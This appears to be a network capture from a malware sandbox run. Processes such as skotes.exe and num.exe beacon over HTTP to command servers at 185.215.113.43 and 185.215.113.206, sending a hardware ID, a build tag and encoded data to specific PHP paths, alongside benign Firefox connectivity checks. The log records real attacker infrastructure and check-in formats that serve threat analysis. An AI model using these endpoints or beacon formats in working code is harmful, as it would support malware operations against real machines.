20	192.168.2.6	50042	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:28.987370014 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:39:29.910765886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50043	185.215.113.206	80	6456	C:\Users\user\AppData\Local\Temp\1003039001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:29.586517096 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 00:39:30.487210989 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 00:39:30.493041992 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEGHJJDGHCAKEBGIJKJ Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------IIEGHJJDGHCAKEBGIJKJContent-Disposition: form-data; name="hwid"62937520F30F807656615------IIEGHJJDGHCAKEBGIJKJContent-Disposition: form-data; name="build"tale------IIEGHJJDGHCAKEBGIJKJ--
Nov 1, 2024 00:39:30.773468971 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50044	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:31.436180115 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:39:32.342761040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50047	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:34.009506941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 00:39:34.902759075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50049	34.107.221.82	80	6612	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:34.331321955 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:34.928641081 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52415 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:35.288402081 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:35.416574955 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52416 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:35.713715076 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:35.841145039 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52416 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50054	34.107.221.82	80	6612	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:35.044255972 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50058	34.107.221.82	80	6612	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:35.725219011 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50059	34.107.221.82	80	6612	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:36.046325922 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:36.646260977 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29411 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:37.325226068 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:37.450617075 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29412 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:37.529747963 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:37.654712915 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29412 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:37.744807005 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:37.869724989 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29412 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:38.170914888 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:38.295635939 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29413 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:38.379036903 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:38.503988981 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29413 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:38.524808884 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:38.649848938 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29413 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:39.132441044 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:39.257216930 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29414 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:41.933123112 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:42.067473888 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29417 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:43.427300930 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:43.553666115 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29418 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 00:39:53.607116938 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 00:39:54.924971104 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 00:39:55.049757957 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 29429 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50062	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:36.656352997 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 00:39:37.553464890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50064	34.107.221.82	80	6612	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:36.728303909 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:37.322303057 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52418 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:37.393091917 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:37.517326117 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52418 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:37.615114927 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:37.739198923 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52418 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:37.973865986 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:38.098232031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52419 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:38.182420969 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:38.307005882 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52419 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:38.397409916 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:38.521483898 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52419 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:39.004997969 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 00:39:39.129025936 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 52420 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 00:39:41.805282116 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
